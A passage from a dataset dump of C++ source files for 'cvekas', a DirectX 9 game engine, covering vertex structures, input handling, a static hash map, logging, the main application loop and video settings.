Color(*pixel);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(!texture->isLocked()) lock();\r\n\t\tchar* data = static_cast<char*>(locked.data);\r\n\t\tD3DCOLOR* pixel = reinterpret_cast<D3DCOLOR*>(&data[address]);\r\n\t\treturn Color(*pixel);\r\n\t}\r\n}\r\n\r\nvoid Texture2DManipulator::apply()\r\n{\r\n\tif(buffer)\r\n\t{\r\n\t\tlock();\r\n\t\tmemcpy(locked.data, buffer, height * pitch);\r\n\t\tunlock();\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(texture->isLocked())\r\n\t\t\tunlock();\r\n\t}\r\n}\r\n\r\nvoid Texture2DManipulator::lock()\r\n{\r\n\tlocked = texture->lock(false);\r\n}\r\n\r\nvoid Texture2DManipulator::unlock()\r\n{\r\n\ttexture->unlock();\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.606521725654602, "alphanum_fraction": 0.6213768124580383, "avg_line_length": 13.965317726135254, "blob_id": "ae5d17b4cb845bcf981adf20acf5d34b851b7a22", "content_id": "cf57085bf56031011705b7978cbc00342dcc78f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2760, "license_type": "no_license", "max_line_length": 78, "num_lines": 173, "path": "/source/Vertices.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VERTICES_H\r\n#define VERTICES_H\r\n\r\n#include \"Vector3.h\"\r\n#include \"VertexFormat.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n#pragma pack(1)\r\n\r\nstruct VertexPos\r\n{\r\n\tVector3 pos;\r\n\r\n\tVertexPos()\r\n\t\t:\r\n\tpos()\r\n\t{\r\n\t\tassert(sizeof(VertexPos) == VertexPos::getSize());\r\n\t}\r\n\r\n\tVertexPos(const Vector3& pos)\r\n\t\t:\r\n\tpos(pos)\r\n\t{\r\n\t\tassert(sizeof(VertexPos) == VertexPos::getSize());\r\n\t}\r\n\r\n\tstatic const VertexFormat& getFormat()\r\n\t{\r\n\t\tstatic VertexFormat f(true, 0, false, false, false, false);\r\n\t\treturn f;\r\n\t}\r\n\r\n\tstatic uint getSize()\r\n\t{\r\n\t\treturn 12;\r\n\t}\r\n};\r\n\r\nstruct VertexPosUV\r\n{\r\n\tVector3 pos;\r\n\tfloat u, v;\r\n\r\n\tVertexPosUV()\r\n\t\t:\r\n\tpos(), u(0.0f), v(0.0f)\r\n\t{\r\n\t\tassert(sizeof(VertexPosUV) == VertexPosUV::getSize());\r\n\t}\r\n\r\n\tVertexPosUV(const Vector3& pos, float u, float v)\r\n\t\t:\r\n\tpos(pos), u(u), v(v)\r\n\t{\r\n\t\tassert(sizeof(VertexPosUV) == VertexPosUV::getSize());\r\n\t}\r\n\r\n\tstatic const VertexFormat& getFormat()\r\n\t{\r\n\t\tstatic VertexFormat f(true, 1, false, false, false, false);\r\n\t\treturn f;\r\n\t}\r\n\r\n\tstatic uint getSize()\r\n\t{\r\n\t\treturn 20;\r\n\t}\r\n};\r\n\r\nstruct VertexPosNormal\r\n{\r\n\tVector3 pos;\r\n\tVector3 normal;\r\n\r\n\tVertexPosNormal()\r\n\t\t:\r\n\tpos(), normal()\r\n\t{\r\n\t\tassert(sizeof(VertexPosNormal) == VertexPosNormal::getSize());\r\n\t}\r\n\r\n\tVertexPosNormal(const Vector3& pos, const Vector3& normal)\r\n\t\t:\r\n\tpos(pos), normal(normal)\r\n\t{\r\n\t\tassert(sizeof(VertexPosNormal) == VertexPosNormal::getSize());\r\n\t}\r\n\r\n\tstatic const VertexFormat& getFormat()\r\n\t{\r\n\t\tstatic VertexFormat f(true, 0, true, false, false, false);\r\n\t\treturn f;\r\n\t}\r\n\r\n\tstatic uint getSize()\r\n\t{\r\n\t\treturn 24;\r\n\t}\r\n};\r\n\r\nstruct VertexPosColor\r\n{\r\n\tVector3 pos;\r\n\tD3DCOLOR color;\r\n\r\n\tVertexPosColor()\r\n\t\t:\r\n\tpos(), color()\r\n\t{\r\n\t\tassert(sizeof(VertexPosColor) == VertexPosColor::getSize());\r\n\t}\r\n\r\n\tVertexPosColor(const Vector3& pos, const D3DCOLOR& color)\r\n\t\t:\r\n\tpos(pos), color(color)\r\n\t{\r\n\t\tassert(sizeof(VertexPosColor) == VertexPosColor::getSize());\r\n\t}\r\n\r\n\tstatic const VertexFormat& getFormat()\r\n\t{\r\n\t\tstatic VertexFormat f(true, 0, false, false, false, true);\r\n\t\treturn f;\r\n\t}\r\n\r\n\tstatic uint getSize()\r\n\t{\r\n\t\treturn 16;\r\n\t}\r\n};\r\n\r\nstruct VertexPosUVColor\r\n{\r\n\tVector3 pos;\r\n\tfloat u, v;\r\n\tD3DCOLOR color;\r\n\r\n\tVertexPosUVColor()\r\n\t\t:\r\n\tpos(), u(0.0f), v(0.0f), color()\r\n\t{\r\n\t\tassert(sizeof(VertexPosUVColor) == VertexPosUVColor::getSize());\r\n\t}\r\n\r\n\tVertexPosUVColor(const Vector3& pos, float u, float v, const D3DCOLOR& color)\r\n\t\t:\r\n\tpos(pos), u(u), v(v), color(color) \r\n\t{\r\n\t\tassert(sizeof(VertexPosUVColor) == VertexPosUVColor::getSize());\r\n\t}\r\n\r\n\r\n\tstatic const VertexFormat& getFormat()\r\n\t{\r\n\t\tstatic VertexFormat f(true, 1, false, false, false, true);\r\n\t\treturn f;\r\n\t}\r\n\r\n\tstatic uint getSize()\r\n\t{\r\n\t\treturn 24;\r\n\t}\r\n};\r\n\r\n// Add more as needed\r\n\r\n#pragma pack()\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7063196897506714, "alphanum_fraction": 0.7091078162193298, "avg_line_length": 21.955554962158203, "blob_id": "6e42505024d1f939f18907cc98cc2661918da2f4", "content_id": "06132e1a5d465618e9732ad23f35cbda9f512b7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1076, "license_type": "no_license", "max_line_length": 84, "num_lines": 45, "path": "/source/Input.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef INPUT_H\r\n#define INPUT_H\r\n\r\n#include \"Keyboard.h\"\r\n#include \"Mouse.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// %Input component. Gives access to all input devices, manages them\r\nclass Input : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param handle Aplication window handle. Usually provided by Window::getHandle()\r\n\t/// \\throws Exception On unsucessful DirectInput8 initialization\r\n\tInput(HWND handle);\r\n\r\n\t/// Destructor\r\n\tvirtual ~Input();\r\n\t\r\n\t/// Returns pointer to Keyboard. Initializes DirectInput keyboard on first call\r\n\tKeyboardPtr getKeyboard();\r\n\t\r\n\t/// Returns pointer to Mouse. Initializes DirectInput mouse on first call\r\n\tMousePtr getMouse();\r\n\r\n\t/// Reads win32 message, updates input state according to it.\r\n\t/// \\returns true if message was processed.\r\n\tbool process(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);\r\n\r\nprivate:\r\n\t/// Handle to aplication window\r\n\tconst HWND win_handle;\r\n\r\n\t/// Keyboard\r\n\tKeyboardPtr keyboard;\r\n\t/// Mouse\r\n\tMousePtr mouse;\r\n};\r\n\r\ntypedef boost::shared_ptr<Input> InputPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5621212124824524, "alphanum_fraction": 0.5666666626930237, "avg_line_length": 16.351852416992188, "blob_id": "22a1a8271966f5399aabf7f41f6ac4c3b23d238b", "content_id": "b0c5dba6a47049d4eded69840b25b80eeeb622b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1980, "license_type": "no_license", "max_line_length": 59, "num_lines": 108, "path": "/source/StaticHashMap.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef STATIC_HASH_MAP\r\n#define STATIC_HASH_MAP\r\n\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\ntemplate <typename Val, typename Key, size_t size>\r\nclass StaticHashMap : public boost::noncopyable\r\n{\r\npublic:\r\n\tStaticHashMap(size_t max_items = (size / 4 * 3))\r\n\t\t:\r\n\titem_count(0), max_items(max_items)\r\n\t{\r\n\t}\r\n\r\n\t~StaticHashMap()\r\n\t{\r\n\t}\r\n\r\n\tbool exists(const Key& key) const\r\n\t{\r\n\t\tsize_t id = boost::hash_value(key);\r\n\t\tfor(size_t i = 0; i < size; ++i)\r\n\t\t{\r\n\t\t\tif(values[(id+i) % size].id == id)\r\n\t\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n\r\n\tvoid set(const Val& value, const Key& key)\r\n\t{\r\n\t\tif(item_count >= max_items)\r\n\t\t\tthrow EXCEPTION(\"Maximum item count reached!\");\r\n\r\n\t\tsize_t id = boost::hash_value(key);\r\n\t\tfor(size_t i = 0; i < size; ++i)\r\n\t\t{\r\n\t\t\tsize_t idx = (id+i) % size;\r\n\t\t\tif(values[idx].id == id)\r\n\t\t\t{\r\n\t\t\t\tvalues[idx].value = value;\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\tif(values[idx].id == StaticHashMapItem<Val>::INVALID_ID)\r\n\t\t\t{\r\n\t\t\t\tvalues[idx].id = id;\r\n\t\t\t\tvalues[idx].value = value;\r\n\t\t\t\titem_count++;\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvoid remove(const Key& key)\r\n\t{\r\n\t\tsize_t id = boost::hash_value(key);\r\n\t\tfor(size_t i = 0; i < size; ++i)\r\n\t\t{\r\n\t\t\tsize_t idx = (id+i) % size;\r\n\t\t\tif(values[idx].id == id)\r\n\t\t\t{\r\n\t\t\t\tvalues[idx].id = StaticHashMapItem<Val>::INVALID_ID;\r\n\t\t\t\titem_count--;\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tthrow EXCEPTION(\"Item to remove not found!\");\r\n\t}\r\n\r\n\tVal& at(const Key& key)\r\n\t{\r\n\t\tsize_t id = boost::hash_value(key);\r\n\t\tfor(size_t i = 0; i < size; ++i)\r\n\t\t{\r\n\t\t\tsize_t idx = (id+i) % size;\r\n\t\t\tif(values[idx].id == id)\r\n\t\t\t\treturn values[idx].value;\r\n\t\t}\r\n\r\n\t\tthrow EXCEPTION(\"Item not found!\");\r\n\t}\r\n\r\nprivate:\r\n\ttemplate <typename Val>\r\n\tstruct StaticHashMapItem\r\n\t{\r\n\t\tStaticHashMapItem()\r\n\t\t: id(INVALID_ID)\r\n\t\t{}\r\n\r\n\t\tsize_t id;\r\n\t\tVal value;\r\n\r\n\t\tstatic const size_t INVALID_ID = (size_t)MAX_UINT32;\r\n\t};\r\n\r\n\tboost::array<StaticHashMapItem<Val>, size> values;\r\n\tsize_t item_count, max_items;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6765957474708557, "alphanum_fraction": 0.6774467825889587, "avg_line_length": 19.363636016845703, "blob_id": "20e70e1e47e43539d200b901e0687ab2195ab586", "content_id": "92bf92de658453993ff087ae2b360075d246c2b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1175, "license_type": "no_license", "max_line_length": 90, "num_lines": 55, "path": "/source/EffectManager.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"EffectManager.h\"\r\n\r\n#include \"Log.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nEffectManager::EffectManager(D3DDevicePtr device)\r\n\t:\r\ndevice(device)\r\n{\r\n\tLOG(\"EffectManager created\");\r\n}\r\n\r\nEffectManager::~EffectManager()\r\n{\r\n\tLOG(\"Destroying EffectManager\");\r\n}\r\n\r\nEffectPtr EffectManager::load(const std::string &name, const std::string &file)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tEffectPtr effect(new Effect(id, device, name, file));\r\n\treturn insert(name, effect, id);\r\n}\r\n\r\nvoid EffectManager::onDeviceLost()\r\n{\r\n\t// If resources is empty, resources.begin() throws exception\r\n\tif(resources.empty())\r\n\t\treturn;\r\n\r\n\tfor(resources_itr = resources.begin(); resources_itr != resources.end(); ++resources_itr)\r\n\t{\r\n\t\tEffectPtr effect = *resources_itr;\r\n\t\tif(bool(effect))\r\n\t\t\teffect->onDeviceLost();\r\n\t}\r\n}\r\n\r\nvoid EffectManager::onDeviceReset()\r\n{\r\n\t// If resources is empty, resources.begin() throws exception\r\n\tif(resources.empty())\r\n\t\treturn;\r\n\r\n\tfor(resources_itr = resources.begin(); resources_itr != resources.end(); ++resources_itr)\r\n\t{\r\n\t\tEffectPtr effect = *resources_itr;\r\n\t\tif(bool(effect))\r\n\t\t\teffect->onDeviceReset();\r\n\t}\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.621630847454071, "alphanum_fraction": 0.6765608787536621, "avg_line_length": 21.0787410736084, "blob_id": "1da9a3d53544071668b2ca4b1e0ae3d2be9428ba", "content_id": "2b382d5f6413feb6d25c763ca456485d0c7f9ddf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2931, "license_type": "no_license", "max_line_length": 86, "num_lines": 127, "path": "/source/stdafx.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef STDAFX_H\r\n#define STDAFX_H\r\n\r\n// Windows\r\n#define WIN32_LEAN_AND_MEAN\r\n#include <windows.h>\r\n#include <io.h>\r\n\r\n// DirectX\r\n#ifdef _DEBUG\r\n#define D3D_DEBUG_INFO\r\n#endif\r\n#include <d3d9.h>\r\n#include <d3dx9.h>\r\n#define DIRECTINPUT_VERSION 0x0800\r\n#include <dinput.h>\r\n\r\n// BASS\r\n#include \"bass.h\"\r\n\r\n// Boost\r\n#include <boost/array.hpp>\r\n#include <boost/utility.hpp>\t// boost::noncopyable\r\n#include <boost/intrusive_ptr.hpp>\r\n#include <boost/shared_ptr.hpp>\r\n#include<boost/enable_shared_from_this.hpp>\r\n#include <boost/weak_ptr.hpp>\r\n#include <boost/scoped_ptr.hpp>\r\n#include <boost/lexical_cast.hpp>\r\n#pragma warning(disable:4996)\t//'std::char_traits<char>::copy' was declared deprecated\r\n#include <boost/format.hpp>\r\n#pragma warning(default:4996)\r\n#include <boost/operators.hpp>\r\n#include <boost/functional/hash.hpp>\r\n#include <boost/algorithm/string.hpp>\r\n\r\n// Stl\r\n#include <limits>\r\n#include <string>\r\n#include <iostream>\r\n#include <sstream>\r\n#include <fstream>\r\n#include <map>\r\n#include <vector>\r\n#include <stack>\r\n#include <list>\r\n#include <exception>\r\n#include <cassert>\r\n// TODO: remove ctime dependency, used only in Random\r\n#include <ctime>\r\n//#include <cstdio> // used in Filesystem\r\n\r\n// Memory manager\r\n#ifdef _DEBUG\r\n#include \"mmgr.h\"\r\n#endif\r\n\r\n// Common types\r\ntypedef long long int64;\r\ntypedef unsigned long long uint64;\r\ntypedef int int32;\r\ntypedef unsigned int uint32;\r\ntypedef unsigned int uint;\r\ntypedef short int16;\r\ntypedef unsigned short uint16;\r\ntypedef char int8; \r\ntypedef unsigned char uint8;\r\ntypedef unsigned char byte;\r\n\r\n// Float utils\r\nconst float infinity = std::numeric_limits<float>::infinity();\r\nconst float epsilon = 0.00001f;\r\nconst float pi = 3.14159265f;\r\n#define FCMP(a, b) (fabs((a) - (b)) < epsilon)\r\n\r\ninline float radians(float degrees)\r\n{\r\n\treturn (degrees / 360.0f) * 2.0f * pi;\r\n}\r\n\r\ntemplate <typename T>\r\ninline T lerp(const T& a, const T& b, float t)\r\n{\r\n\treturn a * (1.0f - t) + b * t;\r\n}\r\n\r\ntemplate <typename T>\r\ninline T smoothstep(const T& a, const T& b, float t)\r\n{\r\n\tif(t < 0.0f)\r\n\t\treturn a;\r\n\tif(t > 1.0f)\r\n\t\treturn b;\r\n\treturn lerp(a, b, t * t * (3.0f - 2.0f * t));\r\n}\r\n\r\ntemplate <typename T>\r\ninline T smootherstep(const T& a, const T& b, float t)\r\n{\r\n\tif(t < 0.0f)\r\n\t\treturn a;\r\n\tif(t > 1.0f)\r\n\t\treturn b;\r\n\treturn smoothstep(a, b, t * t * (3.0f - 2.0f * t));\r\n}\r\n\r\n// Format macro\r\n#define FORMAT(fmt, val) (str(boost::format(fmt) val))\r\n\r\n// Type bounds\r\n#define MIN_INT8 ((int8) 0x80)\r\n#define MAX_INT8 ((int8) 0x7f)\r\n#define MAX_UINT8 ((uint8) 0xff)\r\n\r\n#define MIN_INT16 ((int16) 0x8000)\r\n#define MAX_INT16 ((int16) 0x7fff)\r\n#define MAX_UINT16 ((uint16) 0xffff)\r\n\r\n#define MIN_INT32 ((int32) 0x80000000)\r\n#define MAX_INT32 ((int32) 0x7fffffff)\r\n#define MAX_UINT32 ((uint32) 0xffffffff)\r\n\r\n#define MIN_INT64 ((int64) 0x8000000000000000LL)\r\n#define MAX_INT64 ((int64) 0x7fffffffffffffffLL)\r\n#define MAX_UINT64 ((uint64) 0xffffffffffffffffULL)\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.6571428775787354, "alphanum_fraction": 0.6571428775787354, "avg_line_length": 12.551724433898926, "blob_id": "c3bd89e96d8c89901d514e3cf713c23d5be33d43", "content_id": "9896fd20f140f707136a8dc4c30f19e818c2b93f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 420, "license_type": "no_license", "max_line_length": 61, "num_lines": 29, "path": "/source/FileLogListener.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"FileLogListener.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nFileLogListener::FileLogListener(const std::string& filename)\r\n{\r\n\tfile.open(filename.c_str());\r\n}\r\n\r\nFileLogListener::~FileLogListener()\r\n{\r\n\tfile.close();\r\n}\r\n\r\nvoid FileLogListener::add()\r\n{\r\n}\r\n\r\nvoid FileLogListener::remove()\r\n{\r\n}\r\n\r\nvoid FileLogListener::sendMsg(const std::string& msg)\r\n{\r\n\tfile << msg << std::endl;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6525590419769287, "alphanum_fraction": 0.6535432934761047, "avg_line_length": 16.642202377319336, "blob_id": "f8e2d40b0d6b93fce6fef70ecccd391cb9ff1f70", "content_id": "ab05ab07088188fd789237a72184c984e5f5072b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2032, "license_type": "no_license", "max_line_length": 102, "num_lines": 109, "path": "/source/Application.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Application.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"FileLogListener.h\"\r\n#include \"Timer.h\"\r\n#include \"Engine.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nApplication::Application(HINSTANCE instance, const std::string &name, const std::string& log_filename)\r\n\t:\r\ninstance(instance),\r\nname(name)\r\n{\r\n\tLog::init();\r\n\tLog::addListener(FileLogListenerPtr(new FileLogListener(log_filename)));\r\n\r\n\tvideo_device = VideoDevicePtr(new VideoDevice());\r\n\tEngine::video_device = video_device;\r\n\r\n\tsettings = SettingsPtr(new Settings());\r\n\tEngine::settings = settings;\r\n}\r\n\r\nApplication::~Application()\r\n{\r\n\tEngine::gui.reset();\r\n\tEngine::sound_manager.reset();\r\n\tEngine::input.reset();\r\n\tEngine::video_device.reset();\r\n\tEngine::settings.reset();\r\n\r\n\tgui.reset();\r\n\tinput.reset();\r\n\r\n\teffect_manager.reset();\r\n\tgpu_buffer_manager.reset();\r\n\ttexture_manager.reset();\r\n\r\n\tmain_renderer.reset();\r\n\tvideo_device.reset();\r\n\r\n\twindow.reset();\r\n\r\n\tsound_manager.reset();\r\n\r\n\tsettings.reset();\r\n\r\n\tLog::release();\r\n}\r\n\r\nvoid Application::run()\r\n{\r\n\tinitVideoDevice();\r\n\r\n\tif(!bool(window))\r\n\t{\r\n\t\tLOG(\"Window not properly initialized!. Quitting.\");\r\n\t\treturn;\r\n\t}\r\n\r\n\tif(!bool(video_device))\r\n\t\tthrow EXCEPTION(\"VideoDevice not properly initialized!\");\r\n\r\n\tmain_renderer = video_device->createRenderer();\r\n\r\n\ttexture_manager = video_device->getTextureManager();\r\n\tgpu_buffer_manager = video_device->getGpuBufferManager();\r\n\teffect_manager = video_device->getEffectManager();\r\n\r\n\tsound_manager = SoundManagerPtr(new SoundManager(window->getHandle()));\r\n\tEngine::sound_manager = sound_manager;\r\n\r\n\tinput = InputPtr(new Input(window->getHandle()));\r\n\tEngine::input = input;\r\n\r\n\tTimer::reset();\r\n\r\n\tinit();\r\n\r\n\twhile(window->update())\r\n\t{\r\n\t\tTimer::update();\r\n\t\tsound_manager->update();\r\n\r\n\t\tif(!video_device->ensureDevice())\r\n\t\t{\r\n\t\t\tSleep(50);\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tif(!update())\r\n\t\t\tbreak;\r\n\r\n\t\tif(!render())\r\n\t\t\tbreak;\r\n\t}\r\n\r\n\tclose();\r\n}\r\n\r\nvoid Application::setGUI(GUIPtr gui)\r\n{\r\n\tthis->gui = gui;\r\n\tEngine::gui = gui;\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.7101989984512329, "alphanum_fraction": 0.7120646834373474, "avg_line_length": 23.935483932495117, "blob_id": "60dd852c6a9078d8629166439567aad004e9aef9", "content_id": "197add2f0eeeb0fbd7bb59f3b92d50ae6394aef6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1608, "license_type": "no_license", "max_line_length": 91, "num_lines": 62, "path": "/source/Application.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef APPLICATION_H\r\n#define APPLICATION_H\r\n\r\n#include \"VideoDevice.h\"\r\n#include \"Input.h\"\r\n#include \"GUI.h\"\r\n#include \"SoundManager.h\"\r\n#include \"Timer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Base class for Cvekas applications\r\nclass Application\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param instance Handle to aplication instnce, supplied by WinMain\r\n\t/// \\param name %Application name\r\n\t/// \\param log_filename Log file name\r\n\tApplication(HINSTANCE instance, const std::string& name, const std::string& log_filename);\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~Application();\r\n\r\n\t/// Must initialize window and video_device, called before any other virtual function.\r\n\tvirtual void initVideoDevice() = 0;\r\n\t/// Called before entering main loop, useful for loading resources.\r\n\tvirtual void init() {};\r\n\t/// Called before exiting application.\r\n\tvirtual void close() {};\r\n\t/// Called once every frame, before render(). Return value false breaks out of main loop.\r\n\tvirtual bool update() = 0;\r\n\t/// Called once every frame. Return value false breaks out of main loop.\r\n\tvirtual bool render() = 0;\r\n\r\n\t/// Enters main loop\r\n\tvoid run();\r\n\r\n\t/// Assigns GUI object to Engine monostate\r\n\tvoid setGUI(GUIPtr gui);\r\n\r\nprotected:\r\n\tWindowPtr window;\r\n\r\n\tVideoDevicePtr video_device;\r\n\tSoundManagerPtr sound_manager;\r\n\tInputPtr input;\r\n\tGUIPtr gui; // HACK: make this read-only\r\n\tSettingsPtr settings;\r\n\r\n\tRendererPtr main_renderer;\r\n\tTextureManagerPtr texture_manager;\r\n\tGpuBufferManagerPtr gpu_buffer_manager;\r\n\tEffectManagerPtr effect_manager;\r\n\r\n\tconst HINSTANCE instance;\r\n\tconst std::string name;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.7152658700942993, "alphanum_fraction": 0.7169811129570007, "avg_line_length": 18.10344886779785, "blob_id": "356fb6635ab170fbffb41402ac8dab569e817f04", "content_id": "6c667d5168bc0f6eca60661878abfb901a9946df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 583, "license_type": "no_license", "max_line_length": 103, "num_lines": 29, "path": "/source/TextureCube.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TEXTURE_CUBE_H\r\n#define TEXTURE_CUBE_H\r\n\r\n#include \"BaseTexture.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nclass TextureManager;\r\n\r\n/// Cube map. Supports only dds format for now.\r\nclass TextureCube : public BaseTexture\r\n{\r\npublic:\r\n\tTextureCube(ResourceId id, D3DDevicePtr device, const std::string& name, const std::string& filename);\r\n\tvirtual ~TextureCube();\r\n\r\n\tconst std::string& getFilename() const;\r\n\r\n\tvirtual void onDeviceLost();\r\n\tvirtual void onDeviceReset();\r\nprivate:\r\n\tconst std::string filename;\r\n};\r\n\r\ntypedef boost::shared_ptr<TextureCube> TextureCubePtr;\r\n\r\n}\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.6807881593704224, "alphanum_fraction": 0.7078817486763, "avg_line_length": 26.70212745666504, "blob_id": "6dfc551465293a5bbcd65d01b8b72f972fe09550", "content_id": "b8b3f8e45c0f89a69b67ca1fe2eead2128731de8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4060, "license_type": "no_license", "max_line_length": 81, "num_lines": 141, "path": "/source/VideoSettings.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"VideoSettings.h\"\r\n\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n// TODO: remove all settings which should not be here: bbufer/depth formats\r\n// TODO: use proper names in antialiasing: 2x, 4x, 16xQS, etc.\r\n\r\nVideoSettings::VideoSettings(const std::string& filename)\r\n: SettingsGroup(\"video\", filename)\r\n{\r\n\t// Create settings and set default values.\r\n\t// No new settings can be added later.\r\n\r\n\tsettings[\"Renderer\"] = SettingValue(\"Hardware\");\r\n\tsettings[\"ScreenWidth\"] = SettingValue(\"640\");\r\n\tsettings[\"ScreenHeight\"] = SettingValue(\"480\");\r\n\tsettings[\"RefreshRate\"] = SettingValue(\"0\");\r\n\tsettings[\"Fullscreen\"] = SettingValue(\"0\");\r\n\tsettings[\"BBufferFormat\"] = SettingValue(\"D3DFMT_X8R8G8B8\");\r\n\tsettings[\"DepthStencilFormat\"] = SettingValue(\"D3DFMT_D16\");\r\n\tsettings[\"Antialiasing\"] = SettingValue(\"D3DMULTISAMPLE_NONE\");\r\n\tsettings[\"VSync\"] = SettingValue(\"0\");\r\n\tsettings[\"VertexProcessing\"] = SettingValue(\"Hardware\");\r\n}\r\n\r\nSettingValue& VideoSettings::operator[](const std::string& name)\r\n{\r\n\tstd::map<std::string, SettingValue>::iterator itr = settings.find(name);\r\n\r\n\tif(itr == settings.end())\r\n\t\tthrow EXCEPTION(\"No setting named \" + name + \" in group \" + this->name);\r\n\r\n\treturn itr->second;\r\n}\r\n\r\nD3DDEVTYPE VideoSettings::getRenderer()\r\n{\r\n\tSettingValue& renderer = (*this)[\"Renderer\"];\r\n\tstd::string str_renderer = renderer;\r\n\r\n\tif(str_renderer == \"Hardware\")\r\n\t\treturn D3DDEVTYPE_HAL;\r\n\r\n\tif(str_renderer == \"Software\")\r\n\t\treturn D3DDEVTYPE_REF;\r\n\r\n\tthrow EXCEPTION(\"Bad setting Renderer value: \" + str_renderer);\r\n}\r\n\r\nD3DFORMAT VideoSettings::getBBufferFormat()\r\n{\r\n\tSettingValue& back_buffer = (*this)[\"BBufferFormat\"];\r\n\tstd::string str_back_buffer = back_buffer;\r\n\r\n\tif(str_back_buffer == \"D3DFMT_UNKNOWN\")\r\n\t\treturn D3DFMT_UNKNOWN;\r\n\r\n\tif(str_back_buffer == \"D3DFMT_X8R8G8B8\")\r\n\t\treturn D3DFMT_X8R8G8B8;\r\n\r\n\tif(str_back_buffer == \"D3DFMT_A8R8G8B8\")\r\n\t\treturn D3DFMT_A8R8G8B8;\r\n\r\n\tif(str_back_buffer == \"D3DFMT_R5G6B5\")\r\n\t\treturn D3DFMT_R5G6B5;\r\n\r\n\tthrow EXCEPTION(\"Bad setting BBufferFormat value: \" + str_back_buffer);\r\n}\r\n\r\nD3DFORMAT VideoSettings::getDepthStencilFormat()\r\n{\r\n\tSettingValue& depth_stencil = (*this)[\"DepthStencilFormat\"];\r\n\tstd::string str_depth_stencil = depth_stencil;\r\n\r\n\tif(str_depth_stencil == \"D3DFMT_D16\")\r\n\t\treturn D3DFMT_D16;\r\n\r\n\tif(str_depth_stencil == \"D3DFMT_D24S8\")\r\n\t\treturn D3DFMT_D24S8;\r\n\r\n\tif(str_depth_stencil == \"D3DFMT_D24X8\")\r\n\t\treturn D3DFMT_D24X8;\r\n\r\n\tthrow EXCEPTION(\"Bad setting DepthStencilFormat value: \" + str_depth_stencil);\r\n}\r\n\r\nD3DMULTISAMPLE_TYPE VideoSettings::getAntialiasing()\r\n{\r\n\tSettingValue& antialiasing = (*this)[\"Antialiasing\"];\r\n\tstd::string str_antialiasing = antialiasing;\r\n\r\n\tif(str_antialiasing == \"D3DMULTISAMPLE_NONE\")\r\n\t\treturn D3DMULTISAMPLE_NONE;\r\n\r\n\tif(str_antialiasing == \"D3DMULTISAMPLE_NONMASKABLE\")\r\n\t\treturn D3DMULTISAMPLE_NONMASKABLE;\r\n\r\n\tif(str_antialiasing == \"D3DMULTISAMPLE_2_SAMPLES\")\r\n\t\treturn D3DMULTISAMPLE_2_SAMPLES;\r\n\r\n\tif(str_antialiasing == \"D3DMULTISAMPLE_4_SAMPLES\")\r\n\t\treturn D3DMULTISAMPLE_4_SAMPLES;\r\n\r\n\tif(str_antialiasing == \"D3DMULTISAMPLE_6_SAMPLES\")\r\n\t\treturn 